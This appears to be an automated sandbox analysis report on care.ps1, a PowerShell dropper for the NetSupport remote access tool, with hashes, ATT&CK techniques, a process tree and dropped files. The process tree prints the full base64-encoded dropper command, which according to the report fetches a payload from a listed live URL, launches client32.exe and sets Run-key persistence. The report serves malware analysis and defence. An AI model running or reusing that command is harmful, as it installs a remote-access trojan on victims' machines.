netsupport | aedbd62259bd95c855b9364b1c7a56f303909b0e32269b2ca042e7c75e9e5e45

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
04-03-2024 11:57

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General

Target

care.ps1
Size

2KB
MD5

f240b3caaa90e4fa111e8e566cf913e2
SHA1

aa12a29a39e7d2684ad4d4383074aeed0ef4a29f
SHA256

aedbd62259bd95c855b9364b1c7a56f303909b0e32269b2ca042e7c75e9e5e45
SHA512

183f7387db097662c800aada8c46a529a5d0d7ef4f9114e716622e932375baaa9b98eeba700abfd0ac647333754ada6ca257a41c35c4853509eb898d904fe928

Score

10^/10

netsupport persistence rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://whatisfurosemide.com/f877c2e5-2949-4498-af83-6a5c5jd37342a.txt

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	4748	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1740	client32.exe

Loads dropped DLL 5 IoCs

pid	Process
1740	client32.exe
1740	client32.exe
1740	client32.exe
1740	client32.exe
1740	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Stable folder manager (mar.04) = "C:\\Users\\Admin\\AppData\\Local\\Stable folder manager (mar.04)\\client32.exe"	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4620	powershell.exe
4620	powershell.exe
4748	powershell.exe
4748	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4620	powershell.exe
Token: SeDebugPrivilege	4748	powershell.exe
Token: SeSecurityPrivilege	1740	client32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1740	client32.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4620 wrote to memory of 4748	4620	powershell.exe	89
PID 4620 wrote to memory of 4748	4620	powershell.exe	89
PID 4748 wrote to memory of 1740	4748	powershell.exe	95
PID 4748 wrote to memory of 1740	4748	powershell.exe	95
PID 4748 wrote to memory of 1740	4748	powershell.exe	95

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\care.ps1
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nopROF -exeCu byPasS -WiNDows hI -E QwBoAGQAaQByACAAJABFAG4AdgA6AEwAbwBDAEEAbABhAHAAcABkAEEAVABhADsAIAAkAGsAbQAxAGgAVABRAEIARwA9AFsAYgB5AHQAZQBbAF0AXQBAACgAOAAwACwAIAA3ADUALAAgADMALAAgADQAKQA7ACAAJABIADQAYgB1AEwAVAA9ACcAaAB0AHQAcAA6AC8ALwB3AGgAYQB0AGkAcwBmAHUAcgBvAHMAZQBtAGkAZABlAC4AYwBvAG0ALwBmADgANwA3AGMAMgBlADUALQAyADkANAA5AC0ANAA0ADkAOAAtAGEAZgA4ADMALQA2AGEANQBjADUAagBkADMANwAzADQAMgBhAC4AdAB4AHQAJwA7ACAAJABhADQARABuAEYAWgB2ADAAPQAnAEMAaQBRAFYAOQBOAC4AegBpAHAAJwA7ACAAJAB1AGIAYgB2AEoAPQAnAFMAdABhAGIAbABlACAAZgBvAGwAZABlAHIAIABtAGEAbgBhAGcAZQByACAAKABtAGEAcgAuADAANAApACcAOwAgACQAawBIAFIAbgBDAGoAPQBpAG4AVgBPAEsAZQAtAFcARQBCAHIARQBxAHUARQBzAFQAIAAtAHUAcgBpACAAJABIADQAYgB1AEwAVAAgAC0AVQBTAGUAYgBBAFMAaQBjAHAAYQBSAFMASQBOAEcAOwAgACQAOQBDAHkAQQBlADQAVQBDAD0AJABrAEgAUgBuAEMAagAuAEMAbwBOAFQARQBOAFQAOwAgACQAZQB4AHMAOABaAFQAPQAkAEUAbgB2ADoATABvAEMAQQBsAGEAcABwAGQAQQBUAGEALAAgACQAdQBiAGIAdgBKACAALQBqAE8AaQBuACAAJwBcACcAOwAgACQAYwAwAEoAQwBvAGIAQwA9AEoATwBJAE4ALQBwAEEAVABIACAALQBQAGEAVABIACAAJABFAG4AdgA6AEwAbwBDAEEAbABhAHAAcABkAEEAVABhACAALQBDAEgAaQBMAGQAcABhAFQAaAAgACQAYQA0AEQAbgBGAFoAdgAwADsAIAAkAGcASABVAEYAdQA9AFsAQwBvAG4AdgBFAHIAVABdADoAOgBGAFIAbwBNAGIAQQBzAGUANgA0AHMAVABSAEkAbgBnACgAJAA5AEMAeQBBAGUANABVAEMAKQA7ACAAJABEAFgARgBpAFUAPQAkAGcASABVAEYAdQAgAC0AUwBwAGwASQB0ACAAJwAgACcAIAAtAGEAcwAgAFsAQgB5AHQAZQBbAF0AXQA7ACAAJABCAHMAQwBtAHcARABwAD0AJABrAG0AMQBoAFQAUQBCAEcAKwAkAEQAWABGAGkAVQA7ACAAcwBFAHQALQBDAG8AbgBUAGUATgBUACAAJABhADQARABuAEYAWgB2ADAAIAAkAEIAcwBDAG0AdwBEAHAAIAAtAEUATgBDAE8AZABJAE4ARwAgAEIAWQBUAEUAOwAgAEUAWABQAEEATgBEAC0AQQByAGMAaABJAFYAZQAgAC0AUABhAHQAaAAgACQAYwAwAEoAQwBvAGIAQwAgAC0ARABlAFMAdABpAG4AQQBUAGkATwBuAHAAYQBUAEgAIAAkAGUAeABzADgAWgBUACAALQBmAE8AcgBDAEUAOwAgAHIAZQBtAG8AdgBlAC0ASQBUAEUAbQAgACQAYQA0AEQAbgBGAFoAdgAwADsAIABDAEQAIAAkAGUAeABzADgAWgBUADsAIAAkAFcAaQBFAEUAYQB3AD0AIgAkAGUAeABzADgAWgBUAFwAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAIgA7ACAAcwB0AGEAcgB0ACAAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAOwAgAG4AZQB3AC0ASQBUAEUAbQBQAHIAbwBwAGUAUgB0AHkAIAAtAHAAQQB0AEgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACcAIAAtAE4AYQBtAEUAIAAkAHUAYgBiAHYASgAgAC0AdgBBAGwAdQBFACAAJABXAGkARQBFAGEAdwAgAC0AUAByAE8AUABFAHIAVABZAFQAWQBQAGUAIAAnAFMAdAByAGkAbgBnACcAOwA=
  2⤵
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4748
- - C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.exe
    "C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:1740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
512c6cab650bfda6ef2995f6b515ed6f

SHA1
fec40abf4f5d74ea7f8828cee83770e423203083

SHA256
84871d83ecd410fb4ddede63061d9c521d876d47a8ffdbb8609378447ba0d262

SHA512
638fffef25de1c3e850eb4f4668c4fdafed7bde042b130325daf323b45d2784916381b410219473b5bbacb4c11c6b8b7ab892b3d5695edb0b0a0785233e8e19b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
3ca1082427d7b2cd417d7c0b7fd95e4e

SHA1
b0482ff5b58ffff4f5242d77330b064190f269d3

SHA256
31f15dc6986680b158468bf0b4a1c00982b07b2889f360befd8a466113940d8f

SHA512
bbcfd8ea1e815524fda500b187483539be4a8865939f24c6e713f0a3bd90b69b4367c36aa2b09886b2006b685f81f0a77eec23ab58b7e2fb75304b412deb6ca3

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\HTCTL32.DLL

Filesize
320KB

MD5
2d3b207c8a48148296156e5725426c7f

SHA1
ad464eb7cf5c19c8a443ab5b590440b32dbc618f

SHA256
edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796

SHA512
55c791705993b83c9b26a8dbd545d7e149c42ee358ecece638128ee271e85b4fdbfd6fbae61d13533bf39ae752144e2cc2c5edcda955f18c37a785084db0860c

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\MSVCR100.dll

Filesize
755KB

MD5
0e37fbfa79d349d672456923ec5fbbe3

SHA1
4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

SHA256
8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

SHA512
2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\NSM.LIC

Filesize
259B

MD5
866c96ba2823ac5fe70130dfaaa08531

SHA1
892a656da1ea264c73082da8c6e5f5728abcb861

SHA256
6a7c99e4bd767433c25d6df8df81baa99c05dd24fa064e45c306ff4d954e1921

SHA512
0dafc66222bbfcb1558d9845ee4ddeb7a687561b08b86a07b66b120c22952a8082e041d9234d9c69c8ade5d4dae894d3f10afd7ba6dd3f057a08fb5d57c42112

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\PCICAPI.dll

Filesize
32KB

MD5
dcde2248d19c778a41aa165866dd52d0

SHA1
7ec84be84fe23f0b0093b647538737e1f19ebb03

SHA256
9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917

SHA512
c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\PCICHEK.DLL

Filesize
18KB

MD5
a0b9388c5f18e27266a31f8c5765b263

SHA1
906f7e94f841d464d4da144f7c858fa2160e36db

SHA256
313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a

SHA512
6051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\PCICL32.dll

Filesize
3.3MB

MD5
916c03d8fc0c1fd211c254737dff1055

SHA1
948ee4fbae7ce9dc7a37ccaca75341876bbf5d70

SHA256
250e8bbec081ae5e65b669da92652af6d4266db816c8705fbc9be84707914d99

SHA512
ad18049763a0c289f80c0efa21fbe2a44d0d3f4b5f3686ed9be7562e5c9c68f932a8047377e3a5a8a2a6f09046bb12eadf8b6d3b99dfaa81650fa633ccee1050

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.exe

Filesize
117KB

MD5
a2b46c59f6e7e395d479b09464ecdba0

SHA1
92c132307dd21189b6d7912ddd934b50e50d1ec1

SHA256
89f0c8f170fe9ea28b1056517160e92e2d7d4e8aa81f4ed696932230413a6ce1

SHA512
4f4479ddcd9d0986aec3d789f9e14f9285e8d9d63a5b8f73c9e3203d3a53cd575b1e15edf0d5f640816bb7f25bd3501244e0f7c181a716a6804742ed2f1cf916

Download Submit
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.ini

Filesize
638B

MD5
5a017da03df76f4e2077fd2c4a115b1b

SHA1
2a79863853d4caa243571c0055c228e079d82339

SHA256
1a4a43c52c289f6f56cbfa56256cff5e9adfd3e78097a94ed4b69490b8c5469d

SHA512
580483c8a6c05dba738a4939e6740ed7698ab7efe54da6db8af273fe7507944b63e562377837ad110d0d645293ea7178fca64fecb197688d614d83854f172f02

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ijcbqjcj.zvz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4620-11-0x00000214328F0000-0x0000021432900000-memory.dmp

Filesize
64KB

Download
memory/4620-12-0x00000214328F0000-0x0000021432900000-memory.dmp

Filesize
64KB

Download
memory/4620-10-0x00007FF811880000-0x00007FF812341000-memory.dmp

Filesize
10.8MB

Download
memory/4620-0-0x000002144D090000-0x000002144D0B2000-memory.dmp

Filesize
136KB

Download
memory/4620-84-0x00007FF811880000-0x00007FF812341000-memory.dmp

Filesize
10.8MB

Download
memory/4748-25-0x000001567D9F0000-0x000001567DA00000-memory.dmp

Filesize
64KB

Download
memory/4748-23-0x000001567D9F0000-0x000001567DA00000-memory.dmp

Filesize
64KB

Download
memory/4748-22-0x00007FF811880000-0x00007FF812341000-memory.dmp

Filesize
10.8MB

Download
memory/4748-26-0x000001567E5E0000-0x000001567E5F2000-memory.dmp

Filesize
72KB

Download
memory/4748-78-0x00007FF811880000-0x00007FF812341000-memory.dmp

Filesize
10.8MB

Download
memory/4748-27-0x000001567D670000-0x000001567D67A000-memory.dmp

Filesize
40KB

Download